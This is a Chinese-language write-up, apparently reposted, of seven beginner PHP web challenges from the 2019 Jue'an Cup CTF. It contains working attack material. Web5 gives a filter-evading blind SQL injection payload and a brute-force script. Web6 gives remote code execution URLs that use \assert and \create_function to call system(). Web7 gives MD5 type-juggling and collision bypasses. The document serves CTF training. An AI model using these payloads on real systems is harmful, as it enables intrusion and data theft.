2019掘安杯web writeup

2019-04-12 约 868 字 预计阅读 5 分钟

声明:本文 【2019掘安杯web writeup】 由作者 小猪佩琪 于 2019-04-12 09:19:00 首发 先知社区 曾经 浏览数 47 次

感谢 小猪佩琪 的辛苦付出!

前言

掘安杯网络安全技能挑战赛。题目相对简单适合新手入门,偏向php代码基础漏洞的学习。

web1

题目url:http://120.79.1.69:10001/

相当于签到题目,没什么难度,

进行抓包base64解码即可得到第一道题的flag。

amFjdGZ7OWMxZTNkMThjNDMzZDkzZDk2YTk2NGMwMGFkMzBiOGZ9

jactf{9c1e3d18c433d93d96a964c00ad30b8f}

web2

题目url:http://120.79.1.69:10002
可以下载文件源码。但是flag.txt下载不了,查看源码提示。

下载file=flag.php下载源码。

<?php
header('Content-Type: text/html; charset=utf-8'); //网页编码
function encrypt($data, $key) 
{
    $key = md5 ( $key );
    $x = 0;
    $len = strlen ( $data );#32
    $l = strlen ( $key );   #5

    for($i = 0; $i<$len; $i ++) {

        if ($x == $l) {
            $x = 0;
        }
        $char .= $key {$x};
        $x ++;
    }

    for($i = 0; $i < $len; $i ++) {
        $str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} ))%256 );
    }
    echo  base64_encode ( $str );
}

function decrypt($data, $key) {
    $key = md5 ( $key );
    $x = 0;
    $data = base64_decode ( $data );
    $len = strlen ( $data );
    $l = strlen ( $key );
    for($i = 0; $i < $len; $i ++) {
        if ($x == $l) {
            $x = 0;
        }
        $char .= substr ( $key, $x, 1 );
        $x ++;
    }
    for($i = 0; $i < $len; $i ++) {
        if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
            $str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
        } else {
            $str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
        }
    }
    echo $str;
}

$key="MyCTF";
$flag="o6lziae0xtaqoqCtmWqcaZuZfrd5pbI=";   
?>

解读:这很明显是个加密解密,其中给了加密后的flag,利用第一个函数加密,钥匙也给了MyCTF。但是不清楚为啥给了解密算法,不给也很容易逆推就可以解出来。

所以最终就是直接decrypt($flag,$key),就会打印出来flag, 也可以验证一下。

web3

url地址:http://120.79.1.69:10003

标题很简单的猜密码,

先看看源码,有PHP源码

session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
    if ($_POST['pwd'] == $_SESSION['pwd'])
        die('Flag:'.$flag);
    else{
        print '<p>猜测错误.</p>';
        $_SESSION['pwd']=time().time();
    }
}

代码相当精简,如果post的pwd等于当前的时间,就返回flag,尝试过提前预判时间,发现不可以,就只能直接入手题目了,这里用到了一个弱比较,来进行一个空比较,session ID是我们可控的,pwd也是我们可控的,唯一就是session我们无法控制是多少,但是可以置为空,

删除PHPSESSID,然后使得pwd= 空,判断就变成了空等于空,可以得到flag。

web4

url地址:http://120.79.1.69:10004

这个题一开始工具出问题扫半天没扫到,但是完全没有入手点,后来发现是工具字典问题,建议CTF找不到入手点就多扫扫,可能有遗漏,这个题目就是扫目录,有个后门文件,shell.php

一般来说后门文件就是爆破密码,本题也不例外,在burp intruder模块里进行爆破。

web5

url地址:http://120.79.1.69:10005

这道题目综合了三个知识点,python session快速计算提交,注入绕过,代码审计。综合起来还是搞了半天。

1.有个登陆框,

有返回报错信息,不难想到,肯定和注入挂钩,fuzz发现,or被过滤为空,但是很容易绕过,常规双写绕过,select也被过滤了,也可以使用双写绕过,selselectect,后台验证如果是select就替换为空,selselectect 就等于 select,空格被过滤,这里用/**/替换,

最终poc

'oorr/**/ascii(substr((seselectlect/**/passwoorrd/**/from/**/`admin`/**/limit/**/0,1),%s,1))>1/**/--/**/+'

如果正确的话回显用户名正确,错误的话回显用户名错误,基于布尔的盲注。脚本。

#!/usr/bin/python

# -*- coding: UTF-8 -*-

import sys
import requests
url="http://120.79.1.69:10005/index.php?check"
password=""
for i in range(1,30):
    payload="'oorr/**/ascii(substr((seselectlect/**/passwoorrd/**/from/**/`admin`/**/limit/**/0,1),%s,1))>%s/**/--/**/+'"
    min=10
    max=150
    while abs(max-min)>1:
        mid=int((max+min)/2)
        p = payload % (str(i),str(mid))
        data={"username":p}
        res=requests.post(url=url,data=data)
        if res.content.find("goodboy")!=-1:
            min=mid
        else:
            max=mid
    password=password+chr(max)
    print password

得到密码。

最终poc

账号:'''='
密码:ajahas&&*44askldajaj

接下来快速计算验证码,py脚本,

# -*- encoding:utf8 -*-
import sys
import requests
import re

url="http://120.79.1.69:10005/index.php"

s=requests.Session()

r=s.get(url=url)

matchp=re.search(r'(.{1}\d+[+\-*]\d+[+\-*]\d+.{1}.{1}){4}.{1}\d+[+\-*]\d+[+\-*]\d+.{1}',r.text).group()#.{1}匹配前面任意一个字符,因为给的括号是中文括>号后面同理。

matchp=matchp.replace(u'(','(')
matchp=matchp.replace(u')',')')
matchp=matchp.replace('X','*')

num=round(eval(matchp))

urls="http://120.79.1.69:10005/index.php?check"

data={"username":"'''='","code":num,"password":"ajahas&&*44askldajaj"}

res=s.post(url=urls,data=data)
print (res.text)

得到回显。

又进入另一个坑,下载zip包,zip包被加密了,

网页回显源码中给出了form的密码,打开form是道代码审计同样很简短。

Private Function getPassword(ByVal str As String) As String
    Dim reString As String
    Dim i As Integer
    i = 1
    While (i <= Len(str))
     reString = reString & Mid(str, i, 1)
     i = i + (i Mod 5)
    Wend
    getPassword = reString
End Function

Private Sub Command1_Click()
   Dim Dictionary As String

   Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="

   Dim password As String
   password = getPassword(Dictionary)
   Dim psw As String
   psw = Text1.Text
   If (psw = password) Then
    MsgBox "The password is correct!", vbOKOnly, "密码正确" 
    Text1.Text = "Password for next pass : " & getPassword(password)    
   Else
    MsgBox "PasswordFail!", vbOKOnly, "密码错误"    
   End If   
End Sub

写个python脚本解出flag.jpg的压缩密码。

# -*- encoding:utf8 -*-

def getPassword(str):
    restr=''
    i=1
    while i <=(len(str)):
        restr= restr+(str[i-1:i])
        i=i+(i%5)
    return restr
dict="VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="

password=getPassword(dict)
password=getPassword(password)

print (password)

得到密码 VmH0wW3DZalBnmmSalV1SYSGRr1r3jVYcFrHWkUUlhljkFzCbXaEKyaVJymT1FlVTVskVWhGtonaGU2WWGhVXYol1WVI1F2odFuk

将flag.jpg以txt方式打开得到flag。

web6

url地址:http://120.79.1.69:10006

一道代码审计题目,依然很精简。

<?php
error_reporting(0);
if(isset($_GET['action'])) {
    $action = $_GET['action'];
}

if(isset($_GET['action'])){
    $arg = $_GET['arg'];
}

if(preg_match('/^[a-z0-9_]*$/isD', $action)){
    show_source(__FILE__);
} else {
    $action($arg,'');
}

正则匹配

i 不区分大小写
/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[fnrtv]
/D如果使用$限制结尾字符,则不允许结尾有换行;

精简的源码,考的代码执行,可以参考一下P牛 的create_function()代码注入,不过本题稍微有点点变化,本题其实只有一个点,

传入action参数,我们可控函数,寻找一个能够执行命令的函数就可以,但是需要这个函数有两个参数,eval就不可以,assert可以传入两个参数,可以直接getshell,

正则匹配绕过匹配开头,使用\绕过。

完整poc http://120.79.1.69:8886/web6?action=\assert&arg=system('dir')

由于题目关闭了,本地复现,

通过命令查找,即可获得flag。

参考文章:https://mochazz.github.io/2019/01/12/create_function%E5%87%BD%E6%95%B0%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0RCE/

后来题目环境变了, assert不能使用了,之前assert可以说是个bug,还是要来一遍正规做法。

题目url:http://120.79.1.69:10006

首先要绕过正则,数字字母下划线被过滤,但是需要调用函数,使用create_function创建函数,\create_function就是调用全局的create_function函数,正好绕过了正则,接下来就是拼接字符串。poc

http://120.79.1.69:10006?action=\create_function&arg=){}system('ls');//

拼入字符串后的结果。

\create_function(){}system('ls');//,'');

得到flag。

web7

这道题目依然是代码审计,主要是考弱比较以及MD5等方面的绕过。

题目url:http://120.79.1.69:8887/web7

打开即可获得源码,这里我贴出源码。

<?php
highlight_file(__FILE__);
include('flag.php');
$str1 = @$_GET['str1'];
$str2 = @$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = (string)@$_POST['str5'];
$str6 = (string)@$_POST['str6'];
$str7 = (string)@$_POST['str7'];
if( $str1 == $str2 ){
    die('str1 OR Sstr2 no no no');
}
if( md5($str1) != md5($str2) ){
    die('step 1 fail');
}
if( $str3 == $str4 ){
    die('str3 OR str4 no no no');
}
if ( md5($str3) !== md5($str4)){
    die('step 2 fail');
}
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
    die('str5 OR str6 OR str7 no no no');
}
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
    die('step 3 fail');
}

if(!($_POST['a']) and !($_POST['b']))
{
    echo "come on!";
    die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];

if (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) > 6)) 
{
    echo "a OR b fail!";
    die();
}

if ((strlen($m) > 4) || (strlen($n) > 4)) 
{
    echo "m OR n fail";
    die();
}

$str8 = hash('md5', $a, false);
$str9 = strtr(hash('md5', $b, false), $m, $n);

echo "<p>str8 : $str8</p>";
echo "<p>str9 : $str9</p>";

if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
{
    echo "You're great,give you flag:";
    echo $flag;
}

还算比较常规比较简单的源码,主要是考几个php知识点。

1.首先需要传参数str1不能等于str2,但是需要md5一样,不清楚的百度php md5弱比较。也就是字符串QNKCDZO 和字符串s878926199a,这两个加密出来的md5是

MD5("QNKCDZO")=0e830400451993494058024219903391
MD5("s878926199a")=0e545993274517709034328855841020

在php中如果是0e开头的字符串进行==比较,会认为是科学记数法0e,0的几次方,所以结果自然是0,这样就达到了字符串比较不相等,但是MD5值相等的绕过方法,前提是0e后面跟的是数字,如果是0e1a223...,0e后面有个a字母则无法转化成0。

2.str3和str4和str1 str2差不多,唯一变化是这次用到了!==需要绕过,但是在这种严密的!==,0e这种不可以绕过了,他会一个一个字符的对比,而不是解析为0,这个时候需要用到数组类型不同来绕过,也就是str3[]=1,str4=0,因为这两种根本不是同一种类型的,所以自然无法比较返回false,进而绕过。

3.str5 str6 str7,首先第一个肯定不能三个相等,但是下面又用严格的判断必须md5相等,在php中===和!==这种几乎是没办法绕过的,所以只能让他们的md5真正相等,如果一开始就去绕可能就陷进去了,这个判断的难点在于找到三个真正相等的MD5值的原型。这里参考一篇文章。

https://xz.aliyun.com/t/3161#toc-5

基于全等的MD5碰撞绕过这一目录下的讲解,很详细,需要下载他所说的两个工具,然后按照他的命令

D:\fastcoll>fastcoll_v1.0.0.5.exe -o jlzj0 jlzj1      #-o参数代表随机生成两个相同MD5的文件
D:\fastcoll>fastcoll_v1.0.0.5.exe -p jlzj1 -o jlzj00 jlzj01  #-p参数代表根据jlzj1文件随机生成两个相同MD5的文件,注意:生成的MD5与jlzj1不同
D:\fastcoll>tail.exe -c 128 jlzj00 > a                #-c 128代表将jlzj00的最后128位写入文件a,这128位正是jlzj1与jlzj00的MD5不同的原因
D:\fastcoll>tail.exe -c 128 jlzj01 > b                #同理
D:\fastcoll>type jlzj0 a > jlzj10                    #这里表示将jlzj0和a文件的内容合并写入jlzj10
D:\fastcoll>type jlzj0 b > jlzj11                    #同理写入jlzj11

生成文件即可,生成的文件内容进行MD5加密就是相同的,但是需要url编码提交到burp里面发包,如果在浏览器里会自动解码,出现大大小小的各种问题。

编码参考:https://xz.aliyun.com/t/2232

最终将生成的三个url编码之后的分别复制给str5 str6 str7。

4.第四个点,首先post a和b,然后进入第二个判断,a必须是大写字母,b必须是数字,(is_numeric函数也有一些漏洞),b的长度不能大于6,这里我们把视角移到最后一个if判断

if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))

这里用===判断,b的长度必须为6,刚刚我们说了===很难绕过,所以b的长度就只能为6,其中a不能等于b,这个很容易做到,str8 == str9,

$str8 = hash('md5', $a, false); 
$str9 = strtr(hash('md5', $b, false), $m, $n);

很显然又是需要0e来绕过使得md5后的a b相等,这里a的值很简单,利用网上现有的MD5之后的原型QNKCDZO,并且都是大写,但是b想要找到六位的并且0e开头能够利用的仿佛并找不到,这里想了很久,不过还好有一个字符替换,

strtr(hash('md5', $b, false), $m, $n)

这里是将m替换为n,这样我们就可以利用替换,将一些可能构造的md5值构造成我们需要的,比如 0e123123aaa,我们可以让m=a,n=1,替换为0e123123111,这样就可以进行判断绕过了,这里还要提到上面提示了一个点用is_numeric函数的漏洞,他可以接受十六进制,0xFFFF他同样认为是数字,所以我们写个脚本找到0e开头的md5值,然后替换掉其中的字母,最终绕过。

for($i=1000;$i<9999;$i++)
{
    $b="0x".$i;

    #echo md5($b);
    $c=md5($b);

    if(preg_match('/^0e/',$c))
    {
        echo $b."=====>>";
        echo $c;
        echo "<br/>";

    }

}

选择其中一个

0x6156=====>>0ec4899c94ada8d08a6ada8623c6ff01

刚好md5值有数字 cadf,四个字符刚好用长度最大为4的m n来替换,完整的poc,得到flag。

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now